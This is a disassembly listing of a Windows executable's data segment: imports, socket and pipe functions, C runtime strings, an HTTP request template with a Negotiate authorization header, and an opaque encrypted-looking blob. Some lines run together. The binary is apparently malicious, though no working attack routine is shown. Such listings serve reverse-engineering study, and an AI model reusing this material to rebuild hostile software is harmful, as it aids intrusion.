; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg001		segment	para public 'CODE' use32
		assume cs:seg001
		;org 421000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 7C81AE17h, 7C833478h
dword_421008	dd 7C80A35Eh	; resolved to->KERNEL32.CompareStringW					; sub_41F825+261r
dword_42100C	dd 7C80D077h	; resolved to->KERNEL32.CompareStringA					; sub_41F825+B9r
		dd 7C832044h, 7C80BCCFh, 7C809E01h
dword_42101C	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_41DF39+6r
		dd 7C812641h, 7C81DC03h
dword_421028	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; seg000:0041D304r
		dd 7C838A0Ch, 7C810E51h, 7C812F39h, 7C80CC97h
dword_42103C	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_421040	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; sub_41CB00+E1r
dword_421044	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsW		dd 7C80C058h
dword_42104C	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount		dd 7C80A427h, 7C82FA46h, 7C814EEAh
dword_42105C	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTime					; sub_40B151+Dr ...
dword_421060	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_40283D+E3r ...
dword_421064	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_4030C0+65r ...
dword_421068	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_406A16+80r ...
dword_42106C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_4033CB+150r ...
		dd 7C810D87h, 7C8312E5h
dword_421078	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_4060E4+1C4r ...
		dd 7C80B4CFh, 7C83632Dh, 7C8361EEh
dword_421088	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; seg000:loc_4075C2r ...
dword_42108C	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; seg000:00407594r ...
		dd 7C810A77h
dword_421094	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_409DF9+10Fr ...
		dd 7C80EDD7h, 7C80E7ECh, 7C80E866h
dword_4210A4	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; seg000:0040696Br ...
dword_4210A8	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileA					; sub_408884+26r
dword_4210AC	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; seg000:0040B94Fr ...
dword_4210B0	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4210B4	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_4210B8	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4210BC	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_407983+22Fr
dword_4210C0	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_4089D6:loc_408EC6r ...
dword_4210C4	dd 3A7574h						; sub_419ECF+15r ...
dword_4210C8	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA		dd 7C82F7A0h
dword_4210D0	dd 7C80FE82h	; resolved to->KERNEL32.GlobalUnlockdword_4210D4	dd 7C80FF19h	; resolved to->KERNEL32.GlobalLock		dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h
		dd 7C802367h, 7C8329D9h, 7C812782h, 7C835DCAh, 7C85F90Fh
		dd 7C80DDFEh
dword_421104	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcessdword_421108	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipedword_42110C	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; seg000:0041428Dr
		dd 7C8310F2h
dword_421114	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; seg000:00412246r ...
		dd 7C831EABh, 7C8309E1h, 7C809920h, 7C8286EEh, 7C802520h
		dd 7C80E93Fh, 7C81CE03h, 7C835E8Fh
dword_421138	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; seg000:0041BF5Er ...
		dd 7C8216A4h, 7C801E16h
dword_421144	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoA		dd 7C830B14h
dword_42114C	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_4174BF+AFr ...
dword_421150	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_418B08+2C4r ...
dword_421154	dd 7C937A40h	; resolved to->NTDLL.RtlUnwind		dd 7C8350BFh, 7C80176Bh
dword_421160	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_41913C+28r
		dd 7C801EEEh, 7C812F1Dh
dword_42116C	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_421170	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_421174	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_421178	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_42117C	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_4191ED+51r
		dd 7C809E79h
dword_421184	dd 7C812A09h	; resolved to->KERNEL32.RaiseException					; sub_4201E9+2Er
dword_421188	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeap		dd 7C838DE8h
dword_421190	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; seg000:0041BE9Er ...
		dd 7C812E76h, 7C809915h, 7C8127A7h
dword_4211A0	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilter		dd 7C81DF77h, 0
dword_4211AC	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; seg000:00405AFBr
dword_4211B0	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_4059F0+15r
dword_4211B4	dd 71AB3EA1h	; resolved to->WS2_32.setsockoptdword_4211B8	dd 71AB4519h	; resolved to->WS2_32.ioctlsocketdword_4211BC	dd 71AB3E00h	; resolved to->WS2_32.binddword_4211C0	dd 71AB88D3h	; resolved to->WS2_32.listendword_4211C4	dd 71AC1028h	; resolved to->WS2_32.acceptdword_4211C8	dd 71AB4FD4h	; resolved to->WS2_32.gethostbynamedword_4211CC	dd 71AC0BDEh	; resolved to->WS2_32.shutdowndword_4211D0	dd 71AB2DC0h	; resolved to->WS2_32.select					; seg000:00405502r
dword_4211D4	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSetdword_4211D8	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_402DDD+2Ar ...
dword_4211DC	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_402988+EDr ...
dword_4211E0	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_402DDD+49r ...
dword_4211E4	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_402DDD+64r ...
dword_4211E8	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_40283D+135r ...
dword_4211EC	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_402988+26Br ...
dword_4211F0	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_402DDD+154r ...
		align 8
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40484C+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_421238	dq 1.388888888888889e-2	; DATA XREF: sub_40465E+2Fr
dbl_421240	dq 1.666666666666667e-1	; DATA XREF: sub_40465E+15r
dword_421248	dd 0FFFFFFFFh						; sub_404B1Er ...
		align 10h
dbl_421250	dq 1.333333333333333	; DATA XREF: sub_4046AA+79r
dword_421258	dd 0							; sub_404BCE+5Bo ...
dword_42125C	dd 0				dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
		dd 0
dbl_421660	dq 9.765625e-4		; DATA XREF: seg000:0040BF90r
					; seg000:0040BFABr ...
dbl_421668	dq -3.0517578125e-5	; DATA XREF: sub_41407E+1Er
dbl_421670	dq 1.0			; DATA XREF: sub_415E4C+6Cr
					; sub_415F93+6Cr ...
dword_421678	dd 0FFFFFFFFh, 417BAFh,	417BC3hbyte_421684	db 6			; DATA XREF: sub_417D2C:loc_417D83r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: seg002:off_437D4Co
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: seg002:off_437D48o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: seg002:off_437F74o
		align 10h
dbl_4217B0	dq 0.0			; DATA XREF: sub_41997C+8Cr
					; sub_41997C+ACr ...
dbl_4217B8	dq 4.195835e6		; DATA XREF: sub_419E91+Fr
dbl_4217C0	dq 3.145727e6		; DATA XREF: sub_419E91+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_419ECF+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_419ECFo
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_419FF6+93o
		align 4
dword_4217F8	dd 0FFFFFFFFh, 41A6E1h,	41A6EBh, 0dword_421808	dd 0FFFFFFFFh, 0		dd offset loc_41A867
		align 8
		dd offset sub_41A845
		dd offset sub_41A84F
dword_421820	dd 0FFFFFFFFh, 41AA97h,	41AA9Bh, 0dword_421830	dd 0FFFFFFFFh, 41AAF9h,	41AB02h, 0dword_421840	dd 0FFFFFFFFh, 0		dd offset loc_41ABCD
		align 10h
		dd offset loc_41ABB9
		dd offset loc_41ABBD
dword_421858	dd 0FFFFFFFFh, 0		dd offset loc_41AC23
		align 8
		dd offset loc_41AC0F
		dd offset loc_41AC13
dword_421870	dd 2 dup(0)						; seg000:0041D210o ...
dword_421878	dd 0FFFFFFFFh, 41BE61h,	41BE65h, 0FFFFFFFFh, 41BF15h, 41BF19h
					; DATA XREF: seg000:0041BD56o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: seg002:off_4383BCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41CEF9+119o
		align 10h
asc_421B40	db 0Ah			; DATA XREF: sub_41CEF9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41CEF9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_41CEF9+BFo
aProgramNameUnk	db '<program name unknown>',0
		align 10h
dword_421B80	dd 0FFFFFFFFh, 41D2D0h,	41D2D4haSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_41E142+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_41E6CE+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_41E6CE+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_41E6CE+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41EFE4:loc_41F0D9o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_41EFE4+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_41EFE4+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41EFE4+ADo
		align 10h
dword_421C20	dd 0FFFFFFFFh, 41F9DCh,	41F9E0h, 0FFFFFFFFh, 41FA4Bh, 41FA4Fh
					; DATA XREF: sub_41F825+5o
		dd 421D40h
off_421C3C	dd offset loc_41FF88	; DATA XREF: sub_41FD90+4Do
					; sub_41FFA4+Co
		dd offset sub_41FE4E
		dd offset sub_41FF6B
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_41FD90+1Eo
		dd offset dword_421D78
off_421C5C	dd offset loc_41FEB5	; DATA XREF: sub_41FDEA+4Eo
					; sub_41FE78+11o ...
		dd offset sub_41FE4E
		dd offset sub_41FE5B
		dd offset dword_421DC8
off_421C6C	dd offset loc_420070	; DATA XREF: sub_41FFBC+4Do
					; sub_42008C+Co
		dd offset sub_41FE4E
		dd offset sub_420053
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_41FFBC+1Eo
		dd offset dword_421DF8
off_421C94	dd offset sub_4200F2	; DATA XREF: sub_42010E+8o
					; sub_42014B+8o ...
		dd offset sub_4201AB
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4201AB+7o
		align 10h
		dd offset dword_421E40
off_421CB4	dd offset loc_4201CD	; DATA XREF: sub_4201B8o
					; seg002:off_438AE0o ...
dword_421CB8	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
off_421CD8	dd offset off_438AE0	; DATA XREF: seg001:00421D28o
					; seg001:00421D5Co ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_421CF0	dd offset off_438AF8	; DATA XREF: seg001:00421D24o
					; seg001:00421D58o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_421D08	dd offset off_438B18	; DATA XREF: seg001:00421D20o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421D08
		dd offset off_421CF0
		dd offset off_421CD8
dword_421D2C	dd 3 dup(0)			dd 3, 421D20h, 3 dup(0)
		dd offset off_438B18
		dd offset dword_421D2C+4
		align 8
		dd offset off_421CF0
		dd offset off_421CD8
dword_421D60	dd 4 dup(0)			dd 2, 421D58h
dword_421D78	dd 3 dup(0)			dd offset off_438AF8
		dd offset dword_421D60+8
		align 10h
off_421D90	dd offset off_438B38	; DATA XREF: seg001:00421DA8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421D90
		dd offset off_421CF0
		dd offset off_421CD8
		dd 0
		db    0			; DATA XREF: seg001:00421DD8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 421DA8h
dword_421DC8	dd 3 dup(0)			dd offset off_438B38
		dd offset unk_421DB8
		dd offset off_421CD8
dword_421DE0	dd 4 dup(0)			dd 1, 421DDCh
dword_421DF8	dd 3 dup(0)			dd offset off_438AE0
		dd offset dword_421DE0+8
		align 10h
off_421E10	dd offset off_438B58	; DATA XREF: seg001:00421E28o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421E10
dword_421E2C	dd 3 dup(0)			dd 1, 421E28h
dword_421E40	dd 3 dup(0)			dd offset off_438B58
		dd offset dword_421E2C+4
		align 8
dword_421E58	dd 19930520h, 2, 421E78h, 5 dup(0)		dd 0FFFFFFFFh, 42022Ch,	0
		dd offset sub_420224
dword_421E88	dd 19930520h, 2, 421EA8h, 5 dup(0)		dd 0FFFFFFFFh, 420250h,	0
		dd offset loc_420258
dword_421EB8	dd 19930520h, 2, 421ED8h, 1, 421EE8h, 3	dup(0)
					; DATA XREF: seg000:loc_42026Co
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 421F00h, 4	dup(0)
		dd offset loc_404E38
		dd 0
		dd offset off_438AE0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42014Bh, 2 dup(0)
		dd offset off_438AF8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41FED1h, 2 dup(0)
		dd offset off_438B18
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41FFA4h, 0
dword_421F70	dd 3, 421F50h, 421F30h,	421F10hdword_421F80	dd 0							; sub_41FF6B+12o
		dd offset sub_41FF2E
		dd 0
		dd offset dword_421F70
dword_421F90	dd 19930520h, 1, 421FB0h, 5 dup(0)		dd 0FFFFFFFFh, 420278h
dword_421FB8	dd 19930520h, 1, 421FD8h, 5 dup(0)dword_421FD8	dd 0FFFFFFFFh, 42028Ch,	2, 421F30h, 421F10h, 0dword_421FF0	dd 0				dd offset sub_41FE78
		dd 0
		dd offset dword_421FD8+8
dword_422000	dd 19930520h, 1, 422020h, 5 dup(0)		dd 0FFFFFFFFh, 4202A0h
dword_422028	dd 19930520h, 1, 422048h, 5 dup(0)		dd 0FFFFFFFFh, 4202B4h
dword_422050	dd 19930520h, 1, 422070h, 5 dup(0)		dd 0FFFFFFFFh, 4202C8h,	0
		dd offset off_438B38
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	42008Ch, 0
dword_422098	dd 3, 422078h, 421F30h,	421F10hdword_4220A8	dd 0							; sub_420053+12o
		dd offset sub_420016
		dd 0
		dd offset dword_422098
dword_4220B8	dd 19930520h, 1, 4220D8h, 5 dup(0)		dd 0FFFFFFFFh, 4202DCh
dword_4220E0	dd 19930520h, 1, 422100h, 5 dup(0)		dd 0FFFFFFFFh, 4202F0h,	222F0h,	2 dup(0)
		dd 2233Ch, 211ACh, 22144h, 2 dup(0)
		dd 22AC8h, 21000h, 5 dup(0)
		dd 3FD0687h, 70916589h,	3A1D9CE3h, 7120A3EDh, 2D128B6Fh
		dd 0F88C7F28h, 0CB9AFDD5h, 9767638Ch, 1380686Ch, 0B0861471h
		dd 1618889Dh, 0F8C4B58Eh, 4223E857h, 3B5FAB78h,	0E7D22354h
		dd 312F850Ch, 0B5360463h, 0E67ED996h, 0F346F9C9h, 24C8C896h
		dd 60FCCBD6h, 99845179h, 14B85346h, 342AF1A4h, 965C256Eh
		dd 0E4A365ADh, 0D51A11A3h, 0A20F1DC1h, 0B9CAED48h, 10C58BF5h
		dd 189BE98Dh, 38650DB2h, 0CB9F83DCh, 1000F1F1h,	0CEA19A54h
		dd 96676409h, 0F70C4880h, 70B3A79Fh, 19E70FCBh,	79CF960Bh
		dd 56BEBA2Ch, 3DE6D0Ah,	0A93A00E3h, 0F843D6D1h,	84AFAA16h
		dd 0A43ADFB5h, 0D94A8977h, 0D172F228h, 5AFEF573h, 0F8A0BAh
		dd 0FD404E1Dh, 0C8BD3FDh, 5F90FA06h, 0C3B31AEAh, 6326AD7h
		dd 41FC8FAAh, 285CB4B2h, 77BEFE09h, 8226C2h, 3A767A1Dh
		dd 1E272705h, 12006F11h, 0F9B50D8Ch, 9D408A57h,	0A9D44FA1h
		dd 7841398Ch, 73DC825h,	3F019023h, 6BFEAE4Fh, 446681Ah
		dd 874224F6h, 5BC0BD19h, 28DEA280h, 953EC3E6h, 0C27F4AE1h
		dd 5876BE3Ah, 9A7687A2h, 0BAE77008h, 0FEB3EB88h, 5764969Fh
		dd 5E9F4955h, 0DF3492Dh, 89075FCEh, 0A4920FAh, 0B225B7ABh
		dd 3D953597h, 2A4CBE1Fh, 0E6F07377h, 0A6BEFAF6h, 0EDF59F61h
		dd 89082F3Dh, 75473BAAh, 0D5FE4776h, 5072D902h,	0B3C0A01Fh
		dd 715ABB16h, 112C6044h, 2D2F7248h, 2C78214Dh, 0B22A1686h
		dd 3210E30Ah, 8ACE497Eh, 135F8D09h, 753918DFh, 7A4A43D9h
		dd 96370CD1h, 0
		dd 2D7A1212h, 993A83E8h, 0D5604EB5h, 2C579A18h,	2905C1B2h
		dd 0ED5B8B00h, 5F8408Bh, 0D7F7BE1Eh, 101410E1h,	84BD287Ch
		dd 73D5C8A6h, 361BB5C7h, 0A688BF92h, 0E72B3FB1h, 49390AF4h
		dd 6F5B0FA4h, 0B8507CEh, 0B1D4FACBh, 0
; ---------------------------------------------------------------------------
		adc	ch, dl
		mov	edx, 0BBF0FE9Bh
		mov	ecx, 0C99Eh
		jle	short $+2
		retf	833Eh
; ---------------------------------------------------------------------------
		db 6Eh,	0D3h, 0C4h
		dd 4BABF136h, 16D0000h,	0A5142E09h, 0B1D258F0h,	0B899624Bh
		dd 2060000h, 91D2C072h,	59A35F9Dh, 0AB544A85h, 3BD3ED84h
		dd 0C450B640h, 6AB50Fh,	63BA0207h, 91AB4170h, 0B4630161h
		dd 0D087F1CAh, 5FED6DB1h, 0AD60587Bh, 95F141h, 6E220159h
		dd 0CA6EE075h, 8D3395B2h, 89F6F679h, 9AEEFA8Dh,	11B0017h
		dd 0F9F4DA53h, 0CCB8517Bh, 0B0BA40EDh, 2960000h, 9F9D0E58h
		dd 1E400AEh, 986B1A69h,	389E413h, 7B95A358h, 0A8CD46E4h
		dd 0C9D3C7h, 3A2E0218h,	2538961h, 11F8h, 63A001Bh, 5A5A57A1h
		dd 1D54F28Ah, 2DF005Eh,	0C61D7C24h, 13759354h, 2A700BAh
		dd 0BCD8947Bh, 0F113E25Eh, 1068C7D4h, 0E156DA67h, 340044h
		dd 0E9649261h, 256C68CAh, 8AF353h, 0BE960124h, 8AFB0CCDh
		dd 0B9781726h, 441EF28h, 731DCD64h, 16E0000h, 7E63B866h
		dd 0B7319EB8h, 0A0EC5295h, 2048h, 56B900FBh, 0A83DC5F5h
		dd 16F06180h, 46A13E75h, 11A0000h, 8D04D975h, 0AEBE5592h
		dd 80E0BDD3h, 4A0000h, 0F78CF35Dh, 17FE1E89h, 3057DE86h
		dd 1120000h, 2EBD098h, 977BF401h, 0AA4F5Ah, 9820010Dh
		dd 2E042375h, 1E23402h,	0B940D152h, 45EF63B8h, 900000h
		dd 0CC98309Bh, 0CE81854Eh, 8A00C7h, 0D59BC364h,	0CA7E6307h
		dd 68EA9AF6h, 9CB44A28h, 91C46FF2h, 890000h, 9261E744h
		dd 2CF94DCAh, 0C1E7AC8h, 0A9C9832Fh, 0EA6DDDD5h, 0B40371h
		dd 6704009Dh, 32C6AFBDh, 0CE63E11Ah, 5AA754h, 0F0510094h
		dd 5C965995h, 34247631h, 0DB25908h, 26A0000h, 1A3313B3h
